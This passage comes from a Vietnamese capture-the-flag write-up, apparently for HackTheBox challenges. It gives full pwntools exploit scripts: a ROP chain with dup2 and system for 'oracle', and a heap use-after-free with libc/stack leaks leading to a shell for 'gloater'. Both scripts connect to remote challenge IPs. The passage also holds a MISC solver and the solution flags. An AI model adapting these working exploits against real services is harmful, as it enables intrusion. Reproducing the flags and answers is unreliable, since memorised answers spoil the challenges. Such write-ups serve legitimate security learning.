``` #### ROP - đặt breakpoint ở ret 1 hàm mình muốn rồi tìm offset > ở `parse_headers` hay `handle_view` đều được - lúc này, ta cần call **dup2** để mở stdin và stdout trên server rồi call **system** #### get flag - script: ```py #!/usr/bin/env python3 from pwn import * context.binary = exe = ELF("./oracle_patched") p = process([exe.path]) libc = ELF("libc-2.31.so") # gdb.attach(p, gdbscript = ''' # c # ''') # input() p = remote("94.237.55.138", 38549) # p = remote('0', 9001) payload = b'PLAGUE target_competitor: competitor123\r' p.sendline(payload) payload = b'Content-Length: 8\r\nPlague-Target: 8\r\n\r\n' p.send(payload) p.send(b'\xe0') p = remote("94.237.55.138", 38549) # p = remote('0', 9001) payload = b'PLAGUE target_competitor: competitor123\r' p.sendline(payload) payload = b'Content-Length: 8\r\nPlague-Target: 8\r\n\r\n' p.send(payload) p.send(b'\xe0') p.recvuntil(b'plague: ') libc.address = u64(p.recv(6) + b'\0\0') - 0x1ecbe0 log.info("libc base: " + hex(libc.address)) p = remote("94.237.55.138", 38549) # p = remote('0', 9001) pop_rdi = ROP(libc).find_gadget(["pop rdi","ret"])[0] rop = [pop_rdi+1,pop_rdi,next(libc.search(b"/bin/sh\0")),libc.sym['system']] rop = b"".join([p64(i) for i in rop]) pop_rax = ROP(libc).find_gadget(["pop rax","ret"])[0] pop_rsi = ROP(libc).find_gadget(["pop rsi","ret"])[0] syscall = ROP(libc).find_gadget(["syscall","ret"])[0] payload = b'VIEW target_competitor: competitor123\r' p.sendline(payload) payload = b'a'.ljust(2048 + 0x30 - 1, b'a') payload += p64(pop_rsi) + p64(0) + p64(pop_rdi) + p64(0x6) + p64(libc.sym.dup2) payload += p64(pop_rsi) + p64(1) + p64(pop_rdi) + p64(0x6) + p64(libc.sym.dup2) payload += rop + b'\r\n\r\n' p.send(payload) # exec 1<&0 p.interactive() #HTB{wH4t_d1D_tH3_oRAcL3_s4y_tO_tH3_f1gHt3r?} ``` >HTB{wH4t_d1D_tH3_oRAcL3_s4y_tO_tH3_f1gHt3r?} ### gloater - basic file check ![image](https://hackmd.io/_uploads/ByeMT21yC.png) - check ida ![image](https://hackmd.io/_uploads/rywnR31yR.png) >**main()** ![image](https://hackmd.io/_uploads/SJ2B1ak1C.png) >**change_user()** ![image](https://hackmd.io/_uploads/HJ6kep1J0.png) >**create_taunt()** ![image](https://hackmd.io/_uploads/ryIzea1kA.png) >**remove_taunt()** ![image](https://hackmd.io/_uploads/S15EeaJk0.png) >**send_taunt()** ![image](https://hackmd.io/_uploads/HJLhlTkk0.png) >**set_super_taunt()** ![image](https://hackmd.io/_uploads/SyI0la1kA.png) >ngoài ra còn có vài hàm phụ >nhưng k quan trọng lắm #### analyse ![image](https://hackmd.io/_uploads/rJ9rW6Jy0.png) - nhìn vào các biến bss, thấy được **user** và **super_taunt_plague** cách nhau 0x10, mà ngay ở hàm **main()** biến **user** lại cho nhập 0x10, đồng thời ở hàm **change_user()** có in ra %s **user**, và **super_taunt_plague** có thể được set ở hàm **set_super_taunt()** chứa địa chỉ stack - thêm nữa trong hàm **set_super_taunt()** có %s những gì mình nhập vào ---> nối chuỗi leak libc - bug khác là ở hàm **change_user()** có chỗ **strncpy(&dest, buf, size);**, và biến **dest** bắt đầu từ 411C, khả năng ghi đè 0x10 dẫn đến có thể thay đổi 12 byte **taunts** (chunk0 và 4 byte chunk1) - ở **remove_taunt()** không xoá ptr sau khi free ---> UAF - idea: ow 1 hoặc 2 byte chunk0 rồi free (nếu chunk0 đã được free trước đó) ---> fake chunk thành stack ---> ROPchain #### get shell ![image](https://hackmd.io/_uploads/S1RPanykC.png) - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./gloater_patched',checksec=False) libc = ELF('./libc-2.31.so',checksec=False) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*change_user+271 b*create_taunt+367 b*remove_taunt+168 b*remove_taunt+180 b*remove_taunt+226 b*send_taunt+180 b*set_super_taunt+228 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('83.136.254.167',33158) else: p = process(exe.path) def update(newuser): sla(b'> ',b'1') sa(b'User: ',newuser) #0x10 def add(target,name): sla(b'> ',b'2') sa(b'target: ',target) #0x1F sa(b'Taunt: ',name) #0x3FF def delete(idx): sla(b'> ',b'3') sla(b'Index: ',str(idx)) def send_taunts(): sla(b'> ',b'4') def set_super(idx,name): sla(b'> ',b'5') sla(b'Taunt: ',str(idx)) sa(b'taunt: ',name) #0x88 sa(b'> ',b'a'*0x10) #0x10 GDB() payload = p64(0) + p64(0x51) + p64(0) * 4 add(b'a', payload) #0 add(p64(0) * 3 + b'\x31', payload) #1 add(b'a', payload) #2 add(b'a', payload) #3 add(b'a', payload) #4 # delete(2) set_super(0,b'a'*0x88) p.recvuntil(b'a'*0x88) libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - libc.sym['puts'] info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) payload = b'a'*4 + b'\xe0' #ow 1 byte update(payload) p.recvuntil(b'a'*0x10) stack_leak = u64(p.recv(6)+b'\0\0') - 0x20 info("stakc leak: " + hex(stack_leak)) delete(2) delete(1) delete(0) delete(3) payload = p64(0) * 5 + p64(0x31) + p64(stack_leak) * 2 add(b'a',payload) #5 # GDB() pop_rdi = ROP(libc).find_gadget(["pop rdi","ret"])[0] rop = [pop_rdi+1,pop_rdi,next(libc.search(b"/bin/sh\0")),libc.sym.system] rop = b"".join([p64(i) for i in rop]) add(b'a', b'a' * 8 + rop ) #6 p.interactive() #HTB{gL0aT_aLl_y0u_l1k3,c0mb4t_cHoOsES_tH3_viCt0rS} ``` >HTB{gL0aT_aLl_y0u_l1k3,c0mb4t_cHoOsES_tH3_viCt0rS} ## MISC ### Stop Drop and Roll - làm theo yêu cầu đề thôi - mà tận 500 loop =))) ```py #!/usr/bin/python3 from pwn import * p = remote('94.237.49.121',36511) p.sendlineafter(b'(y/n) ',b'y') delimiter = '-' p.recvline() for j in range(500): log.info("round " + str(j)) string = p.recvuntil(b'\n',drop=True) array = string.split(b', ') answer = [] for i in range(len(array)): if array[i] == b'GORGE': answer.append('STOP') if array[i] == b'PHREAK': answer.append('DROP') if array[i] == b'FIRE': answer.append('ROLL') payload = delimiter.join(answer) p.sendlineafter(b'do? ',payload) p.interactive() #HTB{1_wiLl_sT0p_dR0p_4nD_r0Ll_mY_w4Y_oUt!} ``` >HTB{1_wiLl_sT0p_dR0p_4nD_r0Ll_mY_w4Y_oUt!}